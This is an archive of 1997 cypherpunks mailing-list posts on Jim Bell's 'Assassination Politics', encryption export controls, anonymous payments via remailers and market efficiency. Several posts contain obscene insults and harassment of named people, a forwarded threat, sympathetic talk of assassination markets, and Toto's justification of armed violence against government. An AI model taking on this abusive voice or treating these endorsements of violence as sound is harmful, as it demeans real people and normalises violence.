schills is getting more than a little boring. We always seem to have the same actors involved in the attacks on the cypherpunks. First, lightweights like Kent Crispin post some dribble before the 'event' takes place. After the 'event', the heavyweight disinfo artists like Hallam-Baker step forward with their bullshit. Then their bum-buddy "cheers" Bob Hettinga forwards their posts from other lists to try to give them the appearance of respectability. Bullshit is bullshit, no matter how much these characters stroke each other's cocks. TruthMonger From toto at sk.sympatico.ca Mon Apr 7 19:02:25 1997 From: toto at sk.sympatico.ca (Toto) Date: Mon, 7 Apr 1997 19:02:25 -0700 (PDT) Subject: Feds reading this list, Jim Bell, and threats In-Reply-To: <199704071645.JAA23089@crypt.hfinney.com> Message-ID: <33499E33.59C8@sk.sympatico.ca> Kent Crispin wrote: > > I think it is fairly clear that AP is a Chimera. The problem with > lurid fantasies like it, though, is that they give the press and > politicians convenient targets. In fact, a case could be made for > considering Jim Bell as a NSA shill. Certainly he is a perfect foil > for a statist agenda. So, now Kent is volunteering to testify to the fact that Jim Bell is an NSA shill. (and still seems ashamed of his .gov address) I am waiting for a post from Kent that is sufficiently lucid that it can be replied to without drinking an extra bottle of Scotch to follow his twisted trail of logic. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From toto at sk.sympatico.ca Mon Apr 7 19:02:37 1997 From: toto at sk.sympatico.ca (Toto) Date: Mon, 7 Apr 1997 19:02:37 -0700 (PDT) Subject: Fan mail from Hallam-Baker... In-Reply-To: <67eT5D75w165w@bwalk.dm.com> Message-ID: <3349A104.25D4@sk.sympatico.ca> Dr.Dimitri Vulis KOTM wrote: > > >Sender: hallam at etna.ai.mit.edu > >From: Hallam-Baker > >Subject: Re: I hope thr IRA nails Hallam-Baker... > > > >You are now in very serious trouble. > > > >I have contacted the FBI and other agencies. You will encounter > >difficulty in travelling to certain foreign countries. > > > >You may have put your own life at risk. The IRA is not the only > >terrorist group in Ireland, its opponents make a point of assasinating > >anyone who openly supports IRA activities. The terrorist group Hallam-Baker is referring to is the UK government. They refer to QEII as 'Ms. Big'. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From toto at sk.sympatico.ca Mon Apr 7 19:02:53 1997 From: toto at sk.sympatico.ca (Toto) Date: Mon, 7 Apr 1997 19:02:53 -0700 (PDT) Subject: Is Cynthia H. Brown "pissing up a rope"? / was Re: From the "pissing up a rope" file... In-Reply-To: <199704080058.UAA21322@homer.iosphere.net> Message-ID: <3349A7E3.2D0F@sk.sympatico.ca> Cynthia H. Brown wrote: > On Fri, 4 Apr 1997, Robert Hettinga wrote: > > I thought some people on the list might feel very strongly about this > > issue and would like to cast their vote. > > The NBC Interactive Question of the Week: > > Should there be one international group that governs and controls web > > content? > > Results pasted in from http://www.nbceurope.com/ > 85% said no... > while 15% said yes. > > Interesting that the "sheeple factor" was as high as 15%. (Or was it > higher? Did 20 cypherpunks submit "no" 100 times each?) > At > the very least they could have implemented a "have-you-voted-yet" > cookie to weed out the technologically impaired who might want to > vote twice. Is Cynthia H. Brown pissing up a rope? Toto said yes, 85 times. Cynthia said no, 15 times. Not that I'm a troublemaker... -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From toto at sk.sympatico.ca Mon Apr 7 19:36:18 1997 From: toto at sk.sympatico.ca (Toto) Date: Mon, 7 Apr 1997 19:36:18 -0700 (PDT) Subject: AP--the choice of Postal Workers everywhere In-Reply-To: <199704080025.TAA03114@smoke.suba.com> Message-ID: <3349AB27.4801@sk.sympatico.ca> snow wrote: > Crispy Critters wrote: > > you are either born into that social contract, or you move > > into it. In either case the social contract that makes up the state > > predates your involvement. You are free to accept or reject the > > terms of that social contract. If you chose to reject them, then you > > should leave -- since the individuals who composed that contract were > > there before you, their rights take priority. > > BULLSHIT. I don't have a choice. I would like to leave, but > everywhere is already claimed by fucking statist pricks. There is no > place left where a person can go and be free of self important pricks > who think that it is _their_ right to infringe on _my_ rights. Since the land thieves have everything locked up, the only option is to stand and fight. Wise conquerers always leave the disenchanted a small, desolate place they can go to lick their wounds. The current fascists idiots in power don't have the sense to do that. The result is a civilization that is falling apart because those who don't want to take it in the ass have no option except to stick around and fight. > If the contract was written by people who no longer exist, and > enforced from the top, by force then you _do_ have the right to change > the system from without. Especially since (in the context of American, > French, and several other "[un]social contracts") they were themselves > brought about by force and violence, often with the support of less than > a majority. And you can never ignore the 'majority of one'. If the government deems it their right to act as they will, as a result of being heavily armed, then they complain in vain about the individual deeming it their right to act as they will, as a result of being heavily armed. What is good for the gander (government) is good for the goose (postal worker). -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From jya at pipeline.com Mon Apr 7 19:51:03 1997 From: jya at pipeline.com (John Young) Date: Mon, 7 Apr 1997 19:51:03 -0700 (PDT) Subject: Wassenaar Arrangement now available Message-ID: <1.5.4.32.19970408025029.006d22dc@pop.pipeline.com> We've converted the AU version of Wassenaar "Part 3 Category 5 - Telecommunications and Information Security" DOC to HTML: http://jya.com/aucat_5.htm "Part 2 - Information Security" fits the notes on cryptography posted here by Hayashi Tsuyoshi and fills in the missing pieces. From toto at sk.sympatico.ca Mon Apr 7 20:02:30 1997 From: toto at sk.sympatico.ca (Toto) Date: Mon, 7 Apr 1997 20:02:30 -0700 (PDT) Subject: $20,000 the going rate? In-Reply-To: <199704080223.CAA28480@mailhub.amaranth.com> Message-ID: <3349B4D0.7977@sk.sympatico.ca> William H. Geiger III wrote: > > I am forwarding a message from another list as I felt it may be of intrest > to some here. > > Subject: SCANNER LISTENER FOILS MURDER PLOT > Following from the > Seattle Post-Intelligencer, Friday, April 4, 1997 > =========================================== > "TWO ACCUSED OF MURDER-FOR-HIRE PLOT" > > Overheard phone call leads to arrests And the way this relates to Jim Bell is... -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From dlv at bwalk.dm.com Mon Apr 7 20:30:59 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Mon, 7 Apr 1997 20:30:59 -0700 (PDT) Subject: Fan mail from Hallam-Baker... In-Reply-To: <3349A104.25D4@sk.sympatico.ca> Message-ID: <7gNT5D79w165w@bwalk.dm.com> Toto writes: > Dr.Dimitri Vulis KOTM wrote: > > > > >Sender: hallam at etna.ai.mit.edu > > >From: Hallam-Baker > > >Subject: Re: I hope thr IRA nails Hallam-Baker... > > > > > >You are now in very serious trouble. > > > > > >I have contacted the FBI and other agencies. You will encounter > > >difficulty in travelling to certain foreign countries. > > > > > >You may have put your own life at risk. The IRA is not the only > > >terrorist group in Ireland, its opponents make a point of assasinating > > >anyone who openly supports IRA activities. > > The terrorist group Hallam-Baker is referring to is the > UK government. > They refer to QEII as 'Ms. Big'. Do you mean the drug dealer queen? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From whgiii at amaranth.com Mon Apr 7 20:46:02 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Mon, 7 Apr 1997 20:46:02 -0700 (PDT) Subject: $20,000 the going rate? In-Reply-To: <3349B4D0.7977@sk.sympatico.ca> Message-ID: <199704080335.DAA29678@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <3349B4D0.7977 at sk.sympatico.ca>, on 04/07/97 at 09:00 PM, Toto said: >William H. Geiger III wrote: >> >> I am forwarding a message from another list as I felt it may be of intrest >> to some here. >> >> Subject: SCANNER LISTENER FOILS MURDER PLOT >> Following from the >> Seattle Post-Intelligencer, Friday, April 4, 1997 >> =========================================== >> "TWO ACCUSED OF MURDER-FOR-HIRE PLOT" >> >> Overheard phone call leads to arrests > And the way this relates to Jim Bell is... No direct relation. :) I just thought it touched on some current topics: - - Murder for hire (Yes it happens even without AP) - - Cell Phone Security (Big Brother is listening along with everyone else) - LEA's can catch criminals without revoking the Bill of Rights (imagine that) - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: OS/2: Taking the wind out of Windows. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv Comment: Registered User E-Secure v1.1 ES000000 iQCVAwUBM0nMoo9Co1n+aLhhAQFPBQP/WWaCTD/61dfZJF0t81OSuCDWBplTtPUb qKr1UI9TXWAX5z+ftmWWcCxDXpV3ZYZOQgvrCcKLfBpLkdOoMu0B7XLQUIWtVu8T syr9Pj92KKnFfi3IMYqBdbk6MORBcz8jwx8uEU81NncHbbOoLdeRoEBEXkqDfD6m bKm1Lqu039I= =lPXe -----END PGP SIGNATURE----- From nobody at huge.cajones.com Mon Apr 7 20:58:02 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Mon, 7 Apr 1997 20:58:02 -0700 (PDT) Subject: Tim I.R.S. May Message-ID: <199704080358.UAA20048@fat.doobie.com> Tim Bell wrote: At 10:57 PM +0100 4/7/97, Adam Back wrote: >I can think of at least half a dozen posts dealing with the ethics, the >need (they claim) for independent review, the immmorality of the death >penalty in general, and so on. >Exactly what more is needed? >If you mean that no one is talking about the mechanics of actually setting >up such a market, this may be true. For lots of reasons. Could be folks >just have no particular interest in spending the time to actually set one >up, even a "play" AP system. Could be they perceive other projects to be >more important. Or it could be that those who are setting up AP systems are not leaving themselves open to attack. >(Sidenote: the work Robin Hanson and others did on "idea futures" is an >example of something that's more important, and more "doable," and less >dangerous. And yet I see precious little discussion of _it_ on this list. Maybe that is because it doesn't address issues that the government feel are enough of a threat to suppress. >>Perhaps I'm just imagining things, but it would seem to me that if one >>had in the past made comments on the list suggesting that AP might >>even be a _good thing_, Jim Bell's experience might make one think now >>was be a good time to disclaim that one was talking theoretically. >But, on the contrary, I've seen more "positive" comments, in absolute >numbers, about AP in the last several days than I recall seeing in the last >several months. Perhaps if you weren't so liberal in your use of killfiles, then you wouldn't be so out of touch with what cypherpunks list members discuss on the list. >>I've viewed several posters comments on AP ever since Jim Bell got >>involved in discussing anonymous markets in illegal services as being >>careful to stay on the side of speech. >> >>It is almost as if they are afraid to discuss openly their views on >>the subject. >Example, please. Who was previously an advocate of AP on a regular basis >that has recently spoken only of it terms of speech? Tim, lacking the ability to read, asks about those who "advocate" AP. Adam is quite correct in his perception of cypherpunks pussyfooting around their true views on AP since the government attack on Jim Bell's views. Of course, Tim May attacks those who choose to remain anonymous via the cypherpunks remailers. Tim and the IRS make quite a tag-team in denigrating those who would speak freely about AP. >(Actually, I recall very few supporters of AP, even before the list >subscribership dropped dramatically.) Since you shitcan the posts of a variety of list subscribers, your recollections don't count for very much, do they? >I like a lot of your stuff, Adam, but on this one I think you're 175 >degrees out of phase with reality. Perhaps Adam's view of reality encompasses a broader range of posts to the list than Tim's does. Perhaps those who put all cypherpunks in their killfiles could claim that the cypherpunks don't really exist. TruthMonger (#1--the shit disturber) From toto at sk.sympatico.ca Mon Apr 7 21:23:16 1997 From: toto at sk.sympatico.ca (Toto) Date: Mon, 7 Apr 1997 21:23:16 -0700 (PDT) Subject: Blanc Weber / Positivist Schill In-Reply-To: <88CE23A0B727D0118BB000805FD47524014383C2@RED-81-MSG.dns.microsoft.com> Message-ID: <3349C881.2F87@sk.sympatico.ca> Blanc Weber wrote: > --------------------------------------------------- > In "Human Action", by Ludwig von Mises, he explains very well how > nations which restrict their market options create the tensions and > circumstances which lead to wars between them. All of the good computer gurus I know have degrees in Political Philosophy, and the like. You must be one of them. > I was considering, likewise, that the current developing technologies > might open up people's imagination to so many interesting things to do > and new ways to get what they are after, creating a sense of > "possibility", rather than "impossibility", that this would affect their > outlook on life and their attitude and turn their attention to more > positive things beyond killing - that is, beyond the idea of achieving > freedom from certain influences by killing the source of those > influences. Are you part of a cypherpunks list conspiracy to balance my cynicism? Are you actually suggesting that there may be a spark of hope for mankind to prevail in the battle with the forces of mindless robotic sheepnocity? > In the "new world order", those influences would not be so threatening, > as there would exist ways to route around them. This could reduce the > tensions which would otherwise arise, leaving the mind open to more > productive considerations, freed to think less in terms of destructive > methodologies. You seem to be one of the eternal optimists who can even see the possible good in AP. I suggested in a recent post that perhaps Green Peace could use the AP system to drain the profit margins of whalers without actually causing their death. Of course, I was low on Scotch at the time, so my idea cannot be taken seriously. -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From lucifer at dhp.com Mon Apr 7 21:33:53 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Mon, 7 Apr 1997 21:33:53 -0700 (PDT) Subject: Fucking Idiots Message-ID: <199704080433.AAA17606@dhp.com> XX Xnon-to: PRESIDENT at WHITEHOUSE.gov The New York Times, April 7, 1997, pp. D1, D7. --------------------------------------------------------------------------- U.S. Restrictions on Exports Aid German Software Maker By EDMUND L. ANDREWS BOBLINGEN, Germany, April 3--Boris Anderer and his four partners have a message for the spy masters in America's national security establishment: thank you very, very much. Mr. Anderer is the managing director for marketing at Brokat Informationssysteme G.m.b.H., a three-year-old software company here that is growing about as fast as it can hire computer programmers. When America Online wanted to offer online banking and shopping services in Europe, it turned to Brokat for the software that encodes transactions and protects them from hackers and on-line bandits. When Netscape Communications and Microsoft wanted to sell Internet software to Germany's biggest banks, they had to team up with Brokat to deliver the security guarantees that the banks demanded. But what is most remarkable is that Brokat's rapid growth stems in large part from the Alice in Wonderland working of American computer policy. Over the last two years, Brokat and a handful of other European companies have carved out a booming business, selling powerful encryption technology around the world that the United States Government prohibits American companies from exporting. Mr. Anderer could not be happier. "The biggest limitation on our growth is finding enough qualified people," he said, as he strode past rooms filled with programmers dressed in T-shirts and blue jeans. The company's work force has climbed to 110 from 30 in the last year, and the company wants to add another 40 by the end of the year. "This company has grown so fast that I often don't know whether the people I see here have just started working or are just visitors," he said. Encryption technology has become a big battleground in the evolution of electronic commerce and the Internet. As in the United States, European banks and corporations are racing to offer on-line financial services, and many of these services are built around Internet programs sold by American companies like Netscape and Microsoft. Cryptography is crucial because it provides the only means for protecting customers and companies from electronic eavesdroppers. Though the market for encryption software is in itself tiny, it is a key to selling technology in the broader market of electronic commerce. Encryption is the first line of defense against hackers eager to pry loose credit card information and raid bank accounts, so it plays a critical role in the sale of Internet servers and transaction-processing systems. Brokat, which has revenues of about 10 million marks ($6 million), uses its cryptography as a door-opener to sell much more complicated software that securely links conventional bank computer systems to a bank's Internet gateways and on-line services. Netscape, Microsoft and computer equipment manufacturers all include encryption in the networking systems they sell to corporations. But the United States Government blocks American companies from exporting advanced encryption programs, because agencies like the Federal Bureau of Investigation and the National Security Agency fear that they will lose their ability to monitor the communications of suspected terrorists and criminals. Far from hindering the spread of powerful encryption programs, however, American policy has created a bonanza for alert entrepreneurs outside the United States. Brokat's hottest product is the Xpresso Security Package, a set of computer programs that bump up the relatively weak encryption capability of Internet browsers from Netscape and Microsoft. Besides America Online, Brokat's customers include more than 30 big banking and financial institutions around Europe. Deutsche Bank A.G., Germany's biggest bank, uses Brokat's software at its on-line subsidiary, Bank 24. Hypo Bank of Munich uses Brokat in its on-line discount stock brokerage operation. The Swiss national telephone company and the Zurcher Kantonalbank are also customers. Among Brokat's competitors, UK Web Ltd., based in London, is marketing an equally powerful encryption program in conjunction with a Silicon Valley company C2Net Software. Recently, UK Web and C2Net boasted of selling "full-strength" cryptography developed entirely outside the United States. "We don't believe in using codes so weak that foreign governments, criminals or bored college students can break them," the two companies said in a statement, in a stinging swipe at the American export restrictions. Bigger companies are starting to jump into the fray as well. Siemens-Nixdorf, the computer arm of Siemens A.G., recently began marketing a high-security Internet server program that competes with products from Netscape. Companies can download the software from Siemens computers in Ireland. There is nothing illegal or even surprising about this. The basic building blocks for advanced encryption technology, a series of mathematical algorithms or formulas, are all publicly available over the Internet. American companies like Netscape sell strong encryption programs within the United States, and companies like Brokat are even allowed to export their product to customers in the United States. For many computer executives, the real mystery is why the United States Government continues to restrict the export of encryption technology. "The genie is out of the bottle," said Peter Harter, global public policy counsel at Netscape, who complained that American policy thwarts his company's ability to compete. "I have a good product, and I can sell it to Citibank, but l can't sell it to Deutsche Bank," Mr. Harter said. "It doesn't make any sense. Why shouldn't they be able to buy the same product as Citibank? It makes them mad, and it makes us mad." In response to industry complaints, American officials have repeatedly relaxed the restrictions on encryption over the last several years, and they did so again last November. But because the speed of computers has increased so rapidly codes that seemed impenetrable just a few years ago can be cracked within a few hours. In a policy announced last fall, the Clinton Administration announced that it would allow American companies to freely export cryptography that used "keys" up to 40 bits in length. The longer the key, the more difficult a code is to crack. But banking and computer executives say that 40-bit codes are no longer safe and can be cracked in as little as a few hours by skilled computer hackers. The minimum acceptable code, according to many bank executives, must have keys that are 128 bits long. "From our point of view, there is at least the possibility that a 40-bit encryption program can be broken, and that means there is a danger that our transaction processing could be compromised," said Bernd Erlingheuser, a managing director at the Bank 24 unit of Deutsche Bank. Bank 24 has about 110,000 customers in Germany who gain access to banking services over the Internet using either the Netscape Navigator or Microsoft's Internet Explorer. Anette Zinsser, a spokeswoman for Hypo Bank, concurred. "Forty bits is just too low," she said. Hypo Bank offers Internet-based banking and discount brokerage services to about 28,000 customers. In a country not known for high-technology start-ups, Brokat jumped at the opportunity. Mr. Anderer, a former consultant at McKinsey & Company in Germany, teamed up three years ago with two fraternity friends, Michael Janssen and Stefan Roever, and two seasoned computer experts, Achim Schlumpberger and Michael Schumacher. The group originally conceived of building a company around modular software components that were designed for the banking industry, and they financed the company for nearly two years through the money they earned from consulting projects. But they were quickly drawn to the area of encryption, and developed a series of programs around the Java technology of Sun Microsystems. The Xpresso encryption package is installed primarily on the central "server" computers that on-line services use to send material to individual personal computers. Customers who want to connect to a bank's server download a miniature program, or applet, that meshes with their Internet browser program and allows the customer's computer to set up an encrypted link with the server. The effect is to upgrade the 40-bit encryption program to a 128-bit program, which is extremely difficult for outsiders to crack. Now, in another step through the looking glass of encryption policy, Brokat is trying to export to the United States. There is no law against that, but American laws would theoretically prohibit a company that used Brokat's technology from sending the applets to their online customers overseas. So the company is now negotiating with the National Security Agency for permission to let American companies send their software overseas, which is where it started from in the first place. If Brokat convinces the spy masters, the precedent could help American software rivals. "This could open a new opportunity that would benefit American companies if they understand the implications," Mr. Anderer said. [Photo (14K)] The five managing partners and founders of fast-growing Brokat Informationssysteme are (left to right) Boris Anderer, Michael Janssen, Achim Schlumpberger, Michael Schumacher and Stefan Roever. --------------------------------------------------------------------------- Why don't you fucking losers at the whitehouse just line American businessmen up against the wall and blow their brains out? Go to Germany and buy a fucking clue (if American $ are still worth anything by the time you're done fucking American business.) TruthMonger (#2) From announce at lists.zdnet.com Mon Apr 7 21:48:38 1997 From: announce at lists.zdnet.com (announce at lists.zdnet.com) Date: Mon, 7 Apr 1997 21:48:38 -0700 (PDT) Subject: ZDNet Announces HealthyPC.com! Message-ID: ---------------------------------------------------------------- ZDNET ANNOUNCEMENT 4/8/97 ---------------------------------------------------------------- Announcing HealthyPC.com: Online PC care, maintenance and troubleshooting from people you trust! HealthyPC.com: http://www.healthypc.com Brought to you by ZDNet and Symantec, two of the most trusted names in computing, HealthyPC.com provides a superior level of PC maintenance normally available only from the best corporate tech support departments. Go to www.healthypc.com to pump up your PC with top-rated utilities. Talk directly with hardware and software experts to diagnose and fix your PC-related problems. Pick up tips and tricks to keep your PC in top shape. Get round-the-clock virus protection, automatic computer maintenance and more! There's no better way to keep your system healthy and boost its overall performance than with HealthyPC.com. Visit us today and put our technical support team to work for you: HealthyPC.com: http://www.healthypc.com ____________________________________________________ ZDNet Announcements are periodic notices of new features, special events and free offers available to members of ZDNet. --To subscribe to ZDNet Announcements, please send mail to: announce-on at lists.zdnet.com You can leave the subject and body blank. --To unsubscribe to ZDNet Announcements, please send mail to: announce-off at lists.zdnet.com You can leave the subject and body blank. ____________________________________________________ Powered by Mercury Mail: http://www.merc.com From hal at rain.org Mon Apr 7 22:15:21 1997 From: hal at rain.org (Hal Finney) Date: Mon, 7 Apr 1997 22:15:21 -0700 (PDT) Subject: Anonymous cash via intermediaries Message-ID: <199704080350.UAA03476@crypt.hfinney.com> The paper by Rivest on lottery tickets as micropayments, at: http://theory.lcs.mit.edu/~rivest/publications.html is a clever idea, but he mentioned something in passing at the end that I thought was very interesting in its own right. He wrote: > True anonymity of the user from the vendor is more costly, as it > requires an intermediary (the vendor needs to have routing/delivery > information for the goods sold). That third party could also > intermediate the payments for the user - the user pays the intermediary, > and the intermediary pays the vendor. Anonymous cash is most useful in the context of anonymous communications. If you are achieving anonymity via "mix" technologies, like the remailers or Wei Dai's proposed PipeNet, then the same network which hides the communications path could hide the payment path. You pay the first mix in the chain, which pays the next, and so on until the person at the end receives payment. Even with a non-anonymous payment system, you get the effect of anonymity. With intermediaries like this, you could use, say, First Virtual's credit-card based payments. If you want to buy some information anonymously, you set up a remailer chain to send the request to FV. With that you include a payment to that first remailer, requesting forwarding. The remailer accepts the payment, processes the message, and when it forwards it, it sends along a payment of its own (from its own account) to the next remailer in the chain, again requesting forwarding. This continues until the last remailer forwards the message to the final recipient, making a payment of its own in response to the forwarding request. In order to figure out who paid whom, an observer would have to trace through the remailer chain. And if they could do that, they could follow the message too, breaking the anonymity. (I had proposed a similar idea of forwarded non-anonymous payments a couple of weeks ago, but that was specifically in the context of paying for remailers. Rivest's idea would extend this to a general payment scheme.) I see some obvious problems, but perhaps they can be patched up. The remailers would have to be honest and trustworthy (not to mention brave, clean, and reverent); if the payment somehow got lost en route it could be difficult to verify who had pocketed it. There is some anonymity lost by having all the remailers in the chain know how much is being paid, even if they don't know who is involved. If online payment schemes were used, they could leave traces which would allow after-the-fact tracing of the payment path (and therefore the message path). Despite this, the convenience barriers to the use of anonymous cash might make it worth looking into "payment remailers" (or web redirectors). As long as there are at least two forwarders in the chain you have a minimal level of anonymity, and your payments should be as anonymous as your communications. Hal From rah at shipwright.com Mon Apr 7 22:53:42 1997 From: rah at shipwright.com (Robert Hettinga) Date: Mon, 7 Apr 1997 22:53:42 -0700 (PDT) Subject: "...markets are fundamentally chaotic, not efficient"? Really? In-Reply-To: Message-ID: At 12:36 pm -0400 on 4/7/97, Kent Crispin wrote: > Nope. Not any of those things (Gee, there's that "statist" word > again. There must be a playbook somewhere). Yes. It's from the same playbook which says I now get to call you a "twit". > More a "security > analyst" notion. See the cute little book "Chaos and the Capital > Markets" (I don't have it handy so I can't give you the author.) > Anyway, he makes an empirical of security prices, and demonstrates > that they are chaotic. It was more oriented to practitioners, not > theorists... Bark. Chaos theory has nothing to say about the capital markets practically by definition, but that's a "security analyst" notion, so you probably wouldn't understand it. > Chaotic is not the same as stochastic. Actually, chaotic behavior is a subset of stochastic behavior. I stand by what I said. Just because a random variable is predictable within certain parameters doesn't mean that you can call say, every flip of a coin 100 times. When you get to the limit of predictability, you are as "efficient" as you can get. > There are obviously stochastic > factors in markets. Equally obviously, they are not the only factors. Sure. What? The devine right of kings? The inherent good of the surveillance state? I say that stochasticity, including chaos, is the only factor that matters. > The fact that markets demonstrate a chaotic element is potentially > exploitable as a trading strategy. That statement, is, of course, an another oxymoron, just like "market control". > I heard that's why trading houses > were hiring physicists, incidentally -- most of the expertise in > Chaos Theory was developed in the context of physics. Rediculous. Most of the "expertise" in chaos "theory" is in the hands of dillitantes who like to draw pretty pictures. Most of the physicists hired by Wall Street were people who discovered market analogs to physical processes. A friend of mine, for example, who used Monte Carlo simulations to analyze sonar returns, and now uses Green's functions to get faster results on interest rates and total return scenarios on bonds. Or another, who did 2D magnetohydrodynamic code once, and now does fun stuff in the currency markets. The problem with simulating a market with emergent systems is that you can't say anything about a given market when the simulation is over. Just about the simulation. Otherwise (duh?) it's not chaotic enough. Which, by the way, was my point. When you get to "chaos", you're as "efficient" as you can go. That's not to say that using emergent systems technology to create markets *themselves* isn't useful. Far from it. That's the kind of stuff several people around here hope to see arise from autonomous entities operating in cash-settled internet markets, for example. Cash settlement technologies, by the way, which need strong unescrowed cryptography even to function. > That's "Crispin", Mr. Applethwaite. I hate being mislabeled. Ah. Another ad hominem. See "twit", above. You're ugly, and your mother dresses *you* funny, too. By the way, I'm sorry I misspelled your name. For some reason, it seems I didn't respect you enough to get it right... > I never said anything about planned economies being efficient. In > fact, I never mentioned planned economies at all. You said that "chaotic" markets aren't efficient. I said exactly the opposite. That they are the ultimate in efficiency, and that if you believe that chaotic markets are not efficient, you must favor planned economies, because they're the only alternative. I figure this tendency towards stringent control must be from where you work or something. Oops. Another ad hominem. So sorry. They must be in the air this evening. > Obviously I can't "prove" markets are not efficient -- that's an > empirical matter, not a mathematical matter. However, no one can > prove they are efficient, either (that's why it's the "Efficient > Market *Hypothesis*"). There are many other examples of persistent > inefficiencies in markets, the presidential election year cycle > being the first to come to mind. Right. And the increasing American importation of bananas throughout the 20th century caused an increase in suicide. Another informal fallacy. You're nine for nine tonight, Mr. Ch^hispin. Of course there are actual exceptions to the efficient market hypothesis, fools' markets being the most famous example. However, the crash of any given fool's market is completely unpredictable, and, as such, is as efficient a price as you're going to get, paradoxically. Which was my point. > [interesting but besides the point argument deleted] Actually, it was the *whole* point, but you didn't get it. Another one of those "security analyst" notions, which kind of blew by you, in what seems to be a rather breezy evening in your neck of the woods... > > This inability of a hierarchy to handle as much information or resources as > > a geodesic is, of course, a major problem with key escrow, > > No, it's a theoretical problem that has no impact on practical key recovery > systems. Okay. I'll tell you this one, for fun, too, since you don't get *it* either. In a geodesic network, a single node can not possibly process all the information in the network. It chokes, and the network routes around it. You can bet that any key escrow agent would be innundated with surviellance requests and would eventually become either useless under the load no matter how big a processor it had. (Hint: it's the same kind of problem with certificate revocation.) Or, it will be forced to cache its keys in other locations, making them more insecure. Soon, either everyone can't get access to the keys because they can't handle the load, or everyone can because the keys aren't secret anymore. An interesting corrolary is that even if the keys were available, the surveilling entity would choke on *its* information load. This is FinCEN's eventual problem. Maybe we could call it the Freeh paradox, or something. Anyway, the best you can hope for is some kind of distributed caching model, based on the distributed trust models we talk about here. But, if some kind of centralized entity tries to access *those* keys for surviellance, it chokes even worse than if it had all the keys in the same place. > "Whip me! Beat me! Savage me in Cypherpunks!" Just lay there and take it, slave. You know you love it, or you wouldn't be here. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA Lesley Stahl: "You mean *anyone* can set up a web site and compete with the New York Times?" Andrew Kantor: "Yes." Stahl: "Isn't that dangerous?" The e$ Home Page: http://www.shipwright.com/ From real at freenet.edmonton.ab.ca Mon Apr 7 23:18:50 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Mon, 7 Apr 1997 23:18:50 -0700 (PDT) Subject: your mail In-Reply-To: <199704072109.OAA13107@sirius.infonex.com> Message-ID: On Mon, 7 Apr 1997, Mix wrote: I think Vulis needs each of us to send ten copies of this back to him. > Embedded in Tim C[rook] May's babblings are preposterous lies, wild > distortions, child pornography (both as graphic descriptions and in JPEG > format), ethnic slurs, and racial epithets. > > \\\\\|///// > \\\\|//// > < * | * > > | * | > \( . )/ > \___/ > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From real at freenet.edmonton.ab.ca Mon Apr 7 23:35:48 1997 From: real at freenet.edmonton.ab.ca (Graham-John Bullers) Date: Mon, 7 Apr 1997 23:35:48 -0700 (PDT) Subject: ElGamal In-Reply-To: <199704080109.VAA22604@dhp.com> Message-ID: I think Vulis needs each of us to send ten copies of this back to him. On Mon, 7 Apr 1997, lucifer Anonymous Remailer wrote: > Tim C[ocksucker] Mayhem is widely recognized on > the net, because of his frequent vitriolic > postings, as someone/thing ready to cut off his > own penis to spite the testicles, although his > friends recognize him better from the rear. > > /\ > /..\ Tim C[ocksucker] Mayhem > /_\/_\ > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Graham-John Bullers Moderator of alt.2600.moderated ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ http://www.freenet.edmonton.ab.ca/~real/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From harka at nycmetro.com Mon Apr 7 23:40:48 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Mon, 7 Apr 1997 23:40:48 -0700 (PDT) Subject: Sweden Netscape Intranet Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Now, how do we get all of these people to use PGP for their e-mail? (Also interesting to note is the fact, that they'll use 128 bit crypto, regardless of what the US gov thinks about it...:)) Ciao Harka In> Sweden Gets Wired With Netscape (04/03/97; 8:30 p.m. 